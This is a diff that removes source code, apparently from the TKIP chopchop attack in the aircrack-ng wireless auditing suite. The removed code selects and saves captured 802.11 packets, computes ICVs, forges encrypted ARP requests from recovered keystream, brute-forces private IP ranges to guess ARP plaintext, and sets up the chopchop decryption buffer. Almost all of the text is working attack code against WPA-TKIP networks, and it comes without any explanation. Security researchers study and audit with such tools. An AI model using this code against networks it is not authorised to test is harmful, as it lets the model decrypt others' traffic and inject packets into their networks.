-					if ((j & 1) != 0) printf(" ");
-				}
-
-				printf(" ");
-
-				for (j = 16 - ((i + 1) & 15); j < 16; j++)
-					printf("%c",
-						   (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126)
-							   ? '.'
-							   : h80211[i - 15 + j]);
-			}
-
-			if (i > 0 && i < INT_MAX && ((i + 1) & 15) == 0)
-			{
-				printf(" ");
-
-				for (j = 0; j < 16; j++)
-					printf("%c",
-						   (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127)
-							   ? '.'
-							   : h80211[i - 15 + j]);
-			}
-		}
-
-		printf("\n\nUse this packet ? ");
-		fflush(stdout);
-		ret = 0;
-		while (!ret) ret = scanf("%1s", tmpbuf);
-		printf("\n");
-
-		if (tmpbuf[0] == 'y' || tmpbuf[0] == 'Y') break;
-	}
-
-	if (!just_grab)
-	{
-		pfh_out.magic = TCPDUMP_MAGIC;
-		pfh_out.version_major = PCAP_VERSION_MAJOR;
-		pfh_out.version_minor = PCAP_VERSION_MINOR;
-		pfh_out.thiszone = 0;
-		pfh_out.sigfigs = 0;
-		pfh_out.snaplen = 65535;
-		pfh_out.linktype = LINKTYPE_IEEE802_11;
-
-		lt = localtime((const time_t *) &tv.tv_sec);
-
-		memset(strbuf, 0, sizeof(strbuf));
-		snprintf(strbuf,
-				 sizeof(strbuf) - 1,
-				 "replay_src-%02d%02d-%02d%02d%02d.cap",
-				 lt->tm_mon + 1,
-				 lt->tm_mday,
-				 lt->tm_hour,
-				 lt->tm_min,
-				 lt->tm_sec);
-
-		printf("Saving chosen packet in %s\n", strbuf);
-
-		if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
-		{
-			perror("fopen failed");
-			return (1);
-		}
-
-		n = sizeof(struct pcap_file_header);
-
-		if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
-		{
-			fclose(f_cap_out);
-			perror("fwrite failed\n");
-			return (1);
-		}
-
-		pkh.tv_sec = tv.tv_sec;
-		pkh.tv_usec = tv.tv_usec;
-		pkh.caplen = *caplen;
-		pkh.len = *caplen;
-
-		n = sizeof(pkh);
-
-		if (fwrite(&pkh, n, 1, f_cap_out) != 1)
-		{
-			fclose(f_cap_out);
-			perror("fwrite failed");
-			return (1);
-		}
-
-		n = pkh.caplen;
-
-		if (fwrite(h80211, n, 1, f_cap_out) != 1)
-		{
-			fclose(f_cap_out);
-			perror("fwrite failed");
-			return (1);
-		}
-
-		fclose(f_cap_out);
-	}
-
-	return (0);
-}
-
-static int read_prga(unsigned char ** dest, char * file)
-{
-	FILE * f;
-	int size;
-
-	if (file == NULL) return (1);
-	if (*dest == NULL) *dest = (unsigned char *) malloc(1501);
-
-	f = fopen(file, "r");
-
-	if (f == NULL)
-	{
-		printf("Error opening %s\n", file);
-		return (1);
-	}
-
-	fseek(f, 0, SEEK_END);
-	size = ftell(f);
-	rewind(f);
-
-	if (size > 1500) size = 1500;
-
-	if (fread((*dest), size, 1, f) != 1)
-	{
-		fclose(f);
-		fprintf(stderr, "fread failed\n");
-		return (1);
-	}
-
-	opt.prgalen = size;
-
-	fclose(f);
-	return (0);
-}
-
-static void add_icv(unsigned char * input, int len, int offset)
-{
-	unsigned long crc = 0xFFFFFFFF;
-	int n = 0;
-
-	for (n = offset; n < len; n++)
-		crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8);
-
-	crc = ~crc;
-
-	input[len] = (crc) &0xFF;
-	input[len + 1] = (crc >> 8) & 0xFF;
-	input[len + 2] = (crc >> 16) & 0xFF;
-	input[len + 3] = (crc >> 24) & 0xFF;
-
-	return;
-}
-
-static int set_clear_arp(unsigned char * buf,
-						 unsigned char * smac,
-						 unsigned char * dmac) // set first 22 bytes
-{
-	if (buf == NULL) return -1;
-
-	memcpy(buf, S_LLC_SNAP_ARP, 8);
-	buf[8] = 0x00;
-	buf[9] = 0x01; // ethernet
-	buf[10] = 0x08; // IP
-	buf[11] = 0x00;
-	buf[12] = 0x06; // hardware size
-	buf[13] = 0x04; // protocol size
-	buf[14] = 0x00;
-	if (memcmp(dmac, BROADCAST, 6) == 0)
-		buf[15] = 0x01; // request
-	else
-		buf[15] = 0x02; // reply
-	memcpy(buf + 16, smac, 6);
-
-	return 0;
-}
-
-static int build_arp_request(unsigned char * packet, int * length, int toDS)
-{
-	int i;
-	unsigned char buf[128];
-
-	packet[0] = 0x88; // QoS Data
-	if (toDS)
-		packet[1] = 0x41; // encrypted to/fromDS
-	else
-		packet[1] = 0x42;
-	packet[2] = 0x2c;
-	packet[3] = 0x00;
-	if (toDS)
-	{
-		memcpy(packet + 4, opt.f_bssid, 6);
-		memcpy(packet + 10, opt.r_smac, 6);
-		memcpy(packet + 16, opt.r_apmac, 6);
-	}
-	else
-	{
-		memcpy(packet + 4, opt.r_smac, 6);
-		memcpy(packet + 10, opt.f_bssid, 6);
-		memcpy(packet + 16, opt.r_apmac, 6);
-	}
-
-	packet[22] = 0xD0; // fragment 0
-	packet[23] = 0xB4;
-	if (toDS)
-		packet[24] = 0x01; // priority 1
-	else
-		packet[24] = 0x02; // priority 2
-	packet[25] = 0x00;
-
-	if (toDS)
-		set_clear_arp(packet + 26, opt.r_smac, BROADCAST);
-	else
-		set_clear_arp(packet + 26, opt.r_apmac, BROADCAST);
-
-	if (toDS)
-		memcpy(packet + 26 + 22, opt.ip_cli, 4);
-	else
-		memcpy(packet + 26 + 22, opt.ip_ap, 4);
-
-	memcpy(packet + 26 + 26, BROADCAST, 6);
-
-	if (toDS)
-		memcpy(packet + 26 + 32, opt.ip_ap, 4);
-	else
-		memcpy(packet + 26 + 32, opt.ip_cli, 4);
-
-	*length = 26 + 36;
-
-	calc_tkip_mic(packet, *length, opt.ptk, packet + (*length));
-
-	*length += 8;
-
-	memcpy(buf, packet + 26, (*length) - 26);
-	memcpy(packet + 26 + 8, buf, (*length) - 26);
-
-	if (toDS)
-		memcpy(packet + 26,
-			   opt.chopped_to_prga,
-			   8); // set IV&extIV for a toDS frame
-	else
-		memcpy(packet + 26,
-			   opt.chopped_from_prga,
-			   8); // set IV&extIV for a fromDS frame
-
-	(*length) += 8;
-
-	add_icv(packet, *length, 26 + 8);
-
-	(*length) += 4;
-
-	if (toDS)
-	{
-		if (opt.chopped_to_prga_len - 8 < *length - 26 - 8) return 1;
-
-		for (i = 0; i < *length - 26 - 8; i++)
-			packet[26 + 8 + i] ^= opt.chopped_to_prga[8 + i];
-	}
-	else
-	{
-		if (opt.chopped_from_prga_len - 8 < *length - 26 - 8) return 1;
-
-		for (i = 0; i < *length - 26 - 8; i++)
-			packet[26 + 8 + i] ^= opt.chopped_from_prga[8 + i];
-	}
-	return 0;
-}
-
-static int check_guess(unsigned char * srcbuf,
-					   unsigned char * chopped,
-					   int caplen,
-					   int clearlen,
-					   unsigned char * arp,
-					   unsigned char * dmac)
-{
-	int i, j, z, pos;
-
-	z = ((srcbuf[1] & 3) != 3) ? 24 : 30;
-	if ((srcbuf[0] & 0x80) == 0x80) /* QoS */
-		z += 2;
-
-	//     if(arp[22] == 192 && arp[23] == 168 && arp[24] == 178 && arp[25] ==
-	//     1)
-	//     {
-	//         printf("Source: %i.%i.%i.%i; Dest: %i.%i.%i.%i\n",
-	//                 arp[22], arp[23], arp[24], arp[25], arp[32], arp[33],
-	//                 arp[34], arp[35] );
-	//     }
-
-	pos = caplen - z - 8 - clearlen;
-	for (i = 0; i < clearlen; i++)
-	{
-		arp[pos + i] = srcbuf[z + 8 + pos + i] ^ chopped[z + 8 + pos + i];
-	}
-	for (j = 1; j < 3; j++)
-	{
-		arp[15] = j;
-
-		memcpy(arp + 26, ZERO, 6);
-		if (check_crc_buf(arp, caplen - z - 8 - 4) == 1)
-		{
-			for (i = 0; i < pos; i++)
-			{
-				chopped[z + 8 + i] = srcbuf[z + 8 + i] ^ arp[i];
-			}
-			return 1;
-		}
-
-		memcpy(arp + 26, BROADCAST, 6);
-		if (check_crc_buf(arp, caplen - z - 8 - 4) == 1)
-		{
-			for (i = 0; i < pos; i++)
-			{
-				chopped[z + 8 + i] = srcbuf[z + 8 + i] ^ arp[i];
-			}
-			return 1;
-		}
-
-		memcpy(arp + 26, dmac, 6);
-		if (check_crc_buf(arp, caplen - z - 8 - 4) == 1)
-		{
-			for (i = 0; i < pos; i++)
-			{
-				chopped[z + 8 + i] = srcbuf[z + 8 + i] ^ arp[i];
-			}
-			return 1;
-		}
-	}
-	return 0;
-}
-
-static int guess_packet(unsigned char * srcbuf,
-						unsigned char * chopped,
-						int caplen,
-						int clearlen)
-{
-	int i, j, k, l, z, len;
-	unsigned char smac[6], dmac[6], bssid[6];
-
-	unsigned char *ptr, *psmac, *psip, *pdmac, *pdip;
-	unsigned char arp[4096];
-
-	z = ((srcbuf[1] & 3) != 3) ? 24 : 30;
-	if ((srcbuf[0] & 0x80) == 0x80) /* QoS */
-		z += 2;
-
-	if (caplen - z - 8 - clearlen > 36) // too many unknown bytes
-		return 1;
-
-	printf("%i bytes still unknown\n", caplen - z - 8 - clearlen);
-
-	switch (srcbuf[1] & 3)
-	{
-		case 0:
-			memcpy(bssid, srcbuf + 16, 6);
-			memcpy(dmac, srcbuf + 4, 6);
-			memcpy(smac, srcbuf + 10, 6);
-			break;
-		case 1:
-			memcpy(bssid, srcbuf + 4, 6);
-			memcpy(dmac, srcbuf + 16, 6);
-			memcpy(smac, srcbuf + 10, 6);
-			break;
-		case 2:
-			memcpy(bssid, srcbuf + 10, 6);
-			memcpy(dmac, srcbuf + 4, 6);
-			memcpy(smac, srcbuf + 16, 6);
-			break;
-		default:
-			memcpy(bssid, srcbuf + 10, 6);
-			memcpy(dmac, srcbuf + 16, 6);
-			memcpy(smac, srcbuf + 24, 6);
-			break;
-	}
-
-	ptr = arp;
-	psmac = arp + 16;
-	pdmac = arp + 26;
-	psip = arp + 22;
-	pdip = arp + 32;
-
-	len = sizeof(S_LLC_SNAP_ARP) - 1;
-	memcpy(ptr, S_LLC_SNAP_ARP, len);
-	ptr += len;
-
-	/* arp hdr */
-	len = 6;
-	memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
-	ptr += len;
-
-	/* type of arp */
-	len = 2;
-	if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) == 0)
-		memcpy(ptr, "\x00\x01", len);
-	else
-		memcpy(ptr, "\x00\x02", len);
-	ptr += len;
-
-	/* src mac */
-	len = 6;
-	memcpy(ptr, smac, len);
-	ptr += len;
-
-	/* dmac */
-	if (memcmp(dmac, "\xff\xff\xff\xff\xff\xff", 6) != 0)
-	{
-		printf("ARP Reply\n");
-		memcpy(pdmac, dmac, 6);
-	}
-	else
-	{
-		printf("ARP Request\n");
-		memcpy(pdmac, ZERO, 6);
-	}
-
-	if (caplen - z - 8 - clearlen == 36)
-	{
-		printf("Checking 192.168.x.y\n");
-		/* check 192.168.i.1-254 */
-		for (i = 0; i < 256; i++)
-		{
-			for (j = 1; j < 255; j++)
-			{
-				for (k = 1; k < 255; k++)
-				{
-					psip[0] = 192;
-					psip[1] = 168;
-					psip[2] = i;
-					psip[3] = j;
-
-					pdip[0] = 192;
-					pdip[1] = 168;
-					pdip[2] = i;
-					pdip[3] = k;
-
-					if (check_guess(srcbuf,
-									chopped,
-									caplen,
-									clearlen,
-									arp,
-									dmac)) // got correct guess
-						return 0;
-				}
-			}
-		}
-
-		printf("Checking 10.0.y.z\n");
-		/* check 10.i.j.1-254 */
-		for (j = 0; j < 256; j++)
-		{
-			for (k = 1; k < 255; k++)
-			{
-				for (l = 1; l < 255; l++)
-				{
-					psip[0] = 10;
-					psip[1] = 0;
-					psip[2] = j;
-					psip[3] = k;
-
-					pdip[0] = 10;
-					pdip[1] = 0;
-					pdip[2] = j;
-					pdip[3] = l;
-
-					if (check_guess(srcbuf,
-									chopped,
-									caplen,
-									clearlen,
-									arp,
-									dmac)) // got correct guess
-						return 0;
-				}
-			}
-		}
-
-		printf("Checking 172.16.y.z\n");
-		/* check 172.16-31.j.1-254 */
-		for (j = 1; j < 255; j++)
-		{
-			for (k = 1; k < 255; k++)
-			{
-				for (l = 1; l < 255; l++)
-				{
-					psip[0] = 172;
-					psip[1] = 16;
-					psip[2] = j;
-					psip[3] = k;
-
-					pdip[0] = 172;
-					pdip[1] = 16;
-					pdip[2] = j;
-					pdip[3] = l;
-
-					if (check_guess(srcbuf,
-									chopped,
-									caplen,
-									clearlen,
-									arp,
-									dmac)) // got correct guess
-						return 0;
-				}
-			}
-		}
-	}
-
-	if (caplen - z - 8 - clearlen == 35)
-	{
-		printf("Checking 192.168.x.y\n");
-		/* check 192.168.i.1-254 */
-		for (i = 0; i < 256; i++)
-		{
-			for (j = 1; j < 255; j++)
-			{
-				psip[0] = 192;
-				psip[1] = 168;
-				psip[2] = i;
-				psip[3] = j;
-
-				pdip[0] = 192;
-				pdip[1] = 168;
-				pdip[2] = i;
-
-				if (check_guess(srcbuf,
-								chopped,
-								caplen,
-								clearlen,
-								arp,
-								dmac)) // got correct guess
-					return 0;
-			}
-		}
-
-		printf("Checking 10.0.y.z\n");
-		/* check 10.i.j.1-254 */
-		for (i = 0; i < 256; i++)
-		{
-			for (j = 0; j < 256; j++)
-			{
-				for (k = 1; k < 255; k++)
-				{
-					psip[0] = 10;
-					psip[1] = i;
-					psip[2] = j;
-					psip[3] = k;
-
-					pdip[0] = 10;
-					pdip[1] = i;
-					pdip[2] = j;
-
-					if (check_guess(srcbuf,
-									chopped,
-									caplen,
-									clearlen,
-									arp,
-									dmac)) // got correct guess
-						return 0;
-				}
-			}
-		}
-
-		printf("Checking 172.16-31.y.z\n");
-		/* check 172.16-31.j.1-254 */
-		for (i = 16; i < 32; i++)
-		{
-			for (j = 0; j < 256; j++)
-			{
-				for (k = 1; k < 255; k++)
-				{
-					psip[0] = 172;
-					psip[1] = i;
-					psip[2] = j;
-					psip[3] = k;
-
-					pdip[0] = 172;
-					pdip[1] = i;
-					pdip[2] = j;
-
-					if (check_guess(srcbuf,
-									chopped,
-									caplen,
-									clearlen,
-									arp,
-									dmac)) // got correct guess
-						return 0;
-				}
-			}
-		}
-	}
-
-	if (caplen - z - 8 - clearlen == 34)
-	{
-		printf("Checking 192.168.x.y\n");
-		/* check 192.168.i.1-254 */
-		for (i = 0; i < 256; i++)
-		{
-			for (j = 1; j < 255; j++)
-			{
-				psip[0] = 192;
-				psip[1] = 168;
-				psip[2] = i;
-				psip[3] = j;
-
-				pdip[0] = 192;
-				pdip[1] = 168;
-
-				if (check_guess(srcbuf,
-								chopped,
-								caplen,
-								clearlen,
-								arp,
-								dmac)) // got correct guess
-					return 0;
-			}
-		}
-
-		printf("Checking 10.x.y.z\n");
-		/* check 10.i.j.1-254 */
-		for (i = 0; i < 256; i++)
-		{
-			for (j = 0; j < 256; j++)
-			{
-				for (k = 1; k < 255; k++)
-				{
-					psip[0] = 10;
-					psip[1] = i;
-					psip[2] = j;
-					psip[3] = k;
-
-					pdip[0] = 10;
-					pdip[1] = i;
-
-					if (check_guess(srcbuf,
-									chopped,
-									caplen,
-									clearlen,
-									arp,
-									dmac)) // got correct guess
-						return 0;
-				}
-			}
-		}
-
-		printf("Checking 172.16-31.y.z\n");
-		/* check 172.16-31.j.1-254 */
-		for (i = 16; i < 32; i++)
-		{
-			for (j = 0; j < 256; j++)
-			{
-				for (k = 1; k < 255; k++)
-				{
-					psip[0] = 172;
-					psip[1] = i;
-					psip[2] = j;
-					psip[3] = k;
-
-					pdip[0] = 172;
-					pdip[1] = i;
-
-					if (check_guess(srcbuf,
-									chopped,
-									caplen,
-									clearlen,
-									arp,
-									dmac)) // got correct guess
-						return 0;
-				}
-			}
-		}
-	}
-
-	if (caplen - z - 8 - clearlen <= 33 && caplen - z - 8 - clearlen >= 26)
-	{
-		printf("Checking 192.168.x.y\n");
-		/* check 192.168.i.1-254 */
-		if ((srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
-		{
-			for (i = 0; i < 256; i++)
-			{
-				for (j = 1; j < 255; j++)
-				{
-					psip[0] = 192;
-					psip[1] = 168;
-					psip[2] = i;
-					psip[3] = j;
-
-					pdip[0] = 192;
-
-					if (check_guess(srcbuf,
-									chopped,
-									caplen,
-									clearlen,
-									arp,
-									dmac)) // got correct guess
-						return 0;
-				}
-			}
-		}
-
-		if ((srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
-			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
-		{
-			printf("Checking 172.16-31.y.z\n");
-			/* check 172.16-31.j.1-254 */
-			for (i = 16; i < 32; i++)
-			{
-				for (j = 0; j < 256; j++)
-				{
-					for (k = 1; k < 255; k++)
-					{
-						psip[0] = 172;
-						psip[1] = i;
-						psip[2] = j;
-						psip[3] = k;
-
-						pdip[0] = 172;
-
-						if (check_guess(srcbuf,
-										chopped,
-										caplen,
-										clearlen,
-										arp,
-										dmac)) // got correct guess
-							return 0;
-					}
-				}
-			}
-		}
-
-		printf("Checking 10.x.y.z\n");
-		/* check 10.i.j.1-254 */
-		for (i = 0; i < 256; i++)
-		{
-			for (j = 0; j < 256; j++)
-			{
-				for (k = 1; k < 255; k++)
-				{
-					psip[0] = 10;
-					psip[1] = i;
-					psip[2] = j;
-					psip[3] = k;
-
-					pdip[0] = 10;
-
-					if (check_guess(srcbuf,
-									chopped,
-									caplen,
-									clearlen,
-									arp,
-									dmac)) // got correct guess
-						return 0;
-				}
-			}
-		}
-	}
-
-	if (caplen - z - 8 - clearlen == 25)
-	{
-		printf("Checking 192.168.x.y\n");
-		/* check 192.168.i.1-254 */
-		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 192
-			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
-		{
-			for (i = 0; i < 256; i++)
-			{
-				psip[0] = 192;
-				psip[1] = 168;
-				psip[2] = i;
-
-				if (check_guess(srcbuf,
-								chopped,
-								caplen,
-								clearlen,
-								arp,
-								dmac)) // got correct guess
-					return 0;
-			}
-		}
-
-		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 172
-			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
-			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
-		{
-			printf("Checking 172.16-31.y.z\n");
-			/* check 172.16-31.j.1-254 */
-			for (i = 16; i < 32; i++)
-			{
-				for (j = 0; j < 256; j++)
-				{
-					psip[0] = 172;
-					psip[1] = i;
-					psip[2] = j;
-
-					if (check_guess(srcbuf,
-									chopped,
-									caplen,
-									clearlen,
-									arp,
-									dmac)) // got correct guess
-						return 0;
-				}
-			}
-		}
-
-		printf("Checking 10.x.y.z\n");
-		/* check 10.i.j.1-254 */
-		for (i = 0; i < 256; i++)
-		{
-			for (j = 0; j < 256; j++)
-			{
-				psip[0] = 10;
-				psip[1] = i;
-				psip[2] = j;
-
-				if (check_guess(srcbuf,
-								chopped,
-								caplen,
-								clearlen,
-								arp,
-								dmac)) // got correct guess
-					return 0;
-			}
-		}
-	}
-
-	if (caplen - z - 8 - clearlen == 24)
-	{
-		printf("Checking 192.168.x.y\n");
-		/* check 192.168.i.1-254 */
-		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 192
-			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
-		{
-			psip[0] = 192;
-			psip[1] = 168;
-
-			if (check_guess(srcbuf,
-							chopped,
-							caplen,
-							clearlen,
-							arp,
-							dmac)) // got correct guess
-				return 0;
-		}
-
-		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 172
-			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
-			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
-		{
-			printf("Checking 172.16-31.y.z\n");
-			/* check 172.16-31.j.1-254 */
-			for (i = 16; i < 32; i++)
-			{
-				psip[0] = 172;
-				psip[1] = i;
-
-				if (check_guess(srcbuf,
-								chopped,
-								caplen,
-								clearlen,
-								arp,
-								dmac)) // got correct guess
-					return 0;
-			}
-		}
-
-		printf("Checking 10.x.y.z\n");
-		/* check 10.i.j.1-254 */
-		for (i = 0; i < 256; i++)
-		{
-			psip[0] = 10;
-			psip[1] = i;
-
-			if (check_guess(srcbuf,
-							chopped,
-							caplen,
-							clearlen,
-							arp,
-							dmac)) // got correct guess
-				return 0;
-		}
-	}
-
-	if (caplen - z - 8 - clearlen <= 23)
-	{
-		printf("Checking 192.168.x.y\n");
-		/* check 192.168.i.1-254 */
-		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 192
-			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) == 168)
-		{
-			psip[0] = 192;
-
-			if (check_guess(srcbuf,
-							chopped,
-							caplen,
-							clearlen,
-							arp,
-							dmac)) // got correct guess
-				return 0;
-		}
-
-		if ((srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32]) == 172
-			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) >= 16
-			&& (srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33]) < 32)
-		{
-			printf("Checking 172.16-31.y.z\n");
-			/* check 172.16-31.j.1-254 */
-			psip[0] = 172;
-
-			if (check_guess(srcbuf,
-							chopped,
-							caplen,
-							clearlen,
-							arp,
-							dmac)) // got correct guess
-				return 0;
-		}
-
-		printf("Checking 10.x.y.z\n");
-		/* check 10.i.j.1-254 */
-		psip[0] = 10;
-
-		if (check_guess(srcbuf,
-						chopped,
-						caplen,
-						clearlen,
-						arp,
-						dmac)) // got correct guess
-			return 0;
-	}
-
-	if (caplen - z - 8 - clearlen <= 32)
-	{
-		for (i = 0; i < 256; i++)
-		{
-			for (j = 1; j < 255; j++)
-			{
-				psip[0] = srcbuf[z + 8 + 32] ^ chopped[z + 8 + 32];
-				psip[1] = srcbuf[z + 8 + 33] ^ chopped[z + 8 + 33];
-				psip[2] = i;
-				psip[3] = j;
-
-				if (check_guess(srcbuf,
-								chopped,
-								caplen,
-								clearlen,
-								arp,
-								dmac)) // got correct guess
-					return 0;
-			}
-		}
-	}
-	return 1;
-}
-
-static int do_attack_tkipchop(unsigned char * src_packet, int src_packet_len)
-{
-	float f, ticks[4];
-	int i, j, n, z, caplen, srcz, srclen;
-	int data_start, data_end, srcdiff, diff;
-	int guess, is_deauth_mode;
-	int nb_bad_pkt;
-	int tried_header_rec = 0;
-	int tries = 0;
-	int keystream_len = 0;
-	int settle = 0;
-
-	unsigned char b1 = 0xAA;
-	unsigned char b2 = 0xAA;
-
-	unsigned char mic[8];
-	unsigned char smac[6], dmac[6], bssid[6];
-	unsigned char rc4key[16], keystream[4096];
-
-	FILE * f_cap_out;
-	long nb_pkt_read;
-	unsigned long crc_mask;
-	unsigned char * chopped;
-
-	unsigned char packet[4096];
-
-	time_t tt;
-	struct tm * lt;
-	struct timeval tv;
-	struct timeval tv2;
-	struct timeval mic_fail;
-	struct pcap_file_header pfh_out;
-	struct pcap_pkthdr pkh;
-
-	srand(time(NULL));
-
-	memcpy(h80211, src_packet, src_packet_len);
-	caplen = src_packet_len;
-	if ((h80211[1] & 3) == 1)
-	{
-		h80211[1] += 1;
-
-		memcpy(bssid, srcbuf + 4, 6);
-		memcpy(dmac, srcbuf + 16, 6);
-		memcpy(smac, srcbuf + 10, 6);
-
-		memcpy(srcbuf + 10, bssid, 6);
-		memcpy(srcbuf + 4, dmac, 6);
-		memcpy(srcbuf + 16, smac, 6);
-		//         memcpy(h80211+16, BROADCAST, 6);
-	}
-
-	z = ((h80211[1] & 3) != 3) ? 24 : 30;
-	if ((h80211[0] & 0x80) == 0x80) /* QoS */
-		z += 2;
-	srcz = z;
-
-	if ((unsigned) caplen > sizeof(srcbuf)
-		|| (unsigned) caplen > sizeof(h80211))
-		return (1);
-
-	//     if( opt.r_smac_set == 1 )
-	//     {
-	//         //handle picky APs (send one valid packet before all the invalid
-	//         ones)
-	//         memset(packet, 0, sizeof(packet));
-	//
-	//         memcpy( packet, NULL_DATA, 24 );
-	//         memcpy( packet +  4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 );
-	//         memcpy( packet + 10, opt.r_smac,  6 );
-	//         memcpy( packet + 16, opt.f_bssid, 6 );
-	//
-	//         packet[0] = 0x08; //make it a data packet
-	//         packet[1] = 0x41; //set encryption and ToDS=1
-	//
-	//         memcpy( packet+24, h80211+z, caplen-z);
-	//
-	//         if( send_packet( packet, caplen-z+24 ) != 0 )
-	//             return( 1 );
-	//         //done sending a correct packet
-	//     }
-
-	/* Special handling for spanning-tree packets */
-	if (memcmp(h80211 + 4, SPANTREE, 6) == 0
-		|| memcmp(h80211 + 16, SPANTREE, 6) == 0)
-	{
-		b1 = 0x42;
-		b2 = 0x42;
-	}
-
-	printf("\n");
-
-	/* chopchop operation mode: truncate and decrypt the packet */
-	/* we assume the plaintext starts with  AA AA 03 00 00 00   */
-	/* (42 42 03 00 00 00 for spanning-tree packets)            */
-
-	memcpy(srcbuf, h80211, caplen);
-
-	/* debug: generate the keystream */
-	if (opt.got_ptk)
-	{
-		calc_tkip_ppk(srcbuf, caplen, opt.wpa_sta.ptk + 32, rc4key);
-		PCT;
-		printf("Per Packet Key: ");
-		for (i = 0; i < 15; i++) printf("%02X:", rc4key[i]);
-		printf("%02X\n", rc4key[15]);
-
-		memset(keystream, 0, 4096);
-
-		keystream_len = caplen - z - 8;
-		encrypt_wep(keystream, keystream_len, rc4key, 16);
-
-		PCT;
-		printf("Keystream length: %i, Keystream:\n", keystream_len);
-		for (i = 0; i < keystream_len - 1; i++) printf("%02X:", keystream[i]);
-		printf("%02X\n", keystream[keystream_len - 1]);
-
-		memcpy(packet, srcbuf, caplen);
-		PCT;
-		printf("Decrypt: %i\n",
-			   decrypt_wep(packet + z + 8, caplen - z - 8, rc4key, 16));
-		PCT;
-		printf("Keystream 2:\n");
-		for (i = 0; i < keystream_len - 1; i++)
-			printf("%02X:", packet[z + 8 + i] ^ srcbuf[z + 8 + i]);
-		printf("%02X\n",
-			   packet[z + 8 + keystream_len - 1]
-				   ^ srcbuf[z + 8 + keystream_len - 1]);
-
-		//         opt.oldkeystreamlen = keystream_len-(47-z-8);
-		opt.oldkeystreamlen = keystream_len - 37;
-		for (i = 0; i < opt.oldkeystreamlen; i++)
-			opt.oldkeystream[i] = keystream[keystream_len - 1 - i];
-	}
-
-	/* setup the chopping buffer */
-
-	n = caplen;
-
-	switch (srcbuf[1] & 3)
-	{
-		case 0:
-			memcpy(bssid, srcbuf + 16, 6);
-			memcpy(dmac, srcbuf + 4, 6);
-			memcpy(smac, srcbuf + 10, 6);
-			break;
-		case 1:
-			memcpy(bssid, srcbuf + 4, 6);
-			memcpy(dmac, srcbuf + 16, 6);
-			memcpy(smac, srcbuf + 10, 6);
-			break;
-		case 2:
-			memcpy(bssid, srcbuf + 10, 6);
-			memcpy(dmac, srcbuf + 4, 6);
-			memcpy(smac, srcbuf + 16, 6);
-			break;
-		default:
-			memcpy(bssid, srcbuf + 10, 6);
-			memcpy(dmac, srcbuf + 16, 6);
-			memcpy(smac, srcbuf + 24, 6);
-			break;
-	}
-
-	if ((chopped = (unsigned char *) malloc(n)) == NULL)
-	{
-		perror("malloc failed");
-		return (1);
-	}
-
-	memset(chopped, 0, n);
-
-	memcpy(chopped, h80211, n);
-
-	data_start = 26 + 8;
-	srclen = data_end = n;
-	srcdiff = z - 24;
-
-	//     chopped[0] = 0x88;  /* QoS data frame */
-	//     chopped[1] = 0x41;  /* WEP = 1, ToDS = 1 */
-
-	chopped[24] ^= 0x01;
-	chopped[25] = 0x00;
-
-	//     for(i=0; i<4; i++)
-	//     {
-	//         chopped[24] = 0x01;
-	//         if( send_packet( chopped, n ) != 0 )
-	//                 return( 1 );
-	//         usleep(10000);
-	//     }
-
-	/* copy the duration */
-
-	//     memcpy( chopped + 2, h80211 + 2, 2 );
-
-	/* copy the BSSID */
-
-	//     switch( h80211[1] & 3 )
-	//     {
-	//         case  0: memcpy( chopped + 4, h80211 + 16, 6 ); break;
-	//         case  1: memcpy( chopped + 4, h80211 +  4, 6 ); break;
-	//         case  2: memcpy( chopped + 4, h80211 + 10, 6 ); break;
-	//         default: memcpy( chopped + 4, h80211 + 10, 6 ); break;
-	//     }
-
-	/* copy the WEP IV */
-
-	//     memcpy( chopped + 24, h80211 + z, 4 );
-
-	/* setup the xor mask to hide the original data */
-
-	crc_mask = 0;
-
-	for (i = data_start; i < data_end - 4; i++)
-	{
-		switch (i - data_start)
-		{
-			case 0:
-				chopped[i] = b1 ^ 0xE0;
-				break;
-			case 1:
-				chopped[i] = b2 ^ 0xE0;
-				break;
-			case 2:
-				chopped[i] = 0x03 ^ 0x03;
-				break;
-			default:
-				chopped[i] = 0x55 ^ (i & 0xFF);
-				break;
-		}
-
-		crc_mask
-			= crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8) ^ (chopped[i] << 24);
-	}
-
-	for (i = 0; i < 4; i++)
-		crc_mask = crc_tbl[crc_mask & 0xFF] ^ (crc_mask >> 8);
-
-	chopped[data_end - 4] = crc_mask;
-	crc_mask >>= 8;
-	chopped[data_end - 3] = crc_mask;
-	crc_mask >>= 8;
-	chopped[data_end - 2] = crc_mask;
-	crc_mask >>= 8;
-	chopped[data_end - 1] = crc_mask;
-	crc_mask >>= 8;
-
-	for (i = data_start; i < data_end; i++) chopped[i] ^= srcbuf[i];
-	//         chopped[i] ^= srcbuf[i+srcdiff];
-
-	data_start += 6; /* skip the SNAP header */
-
-	is_deauth_mode = 0;
-
-	//     opt.r_dmac[0] = 0xFF;
-	//     opt.r_dmac[1] = rand() & 0xFE;
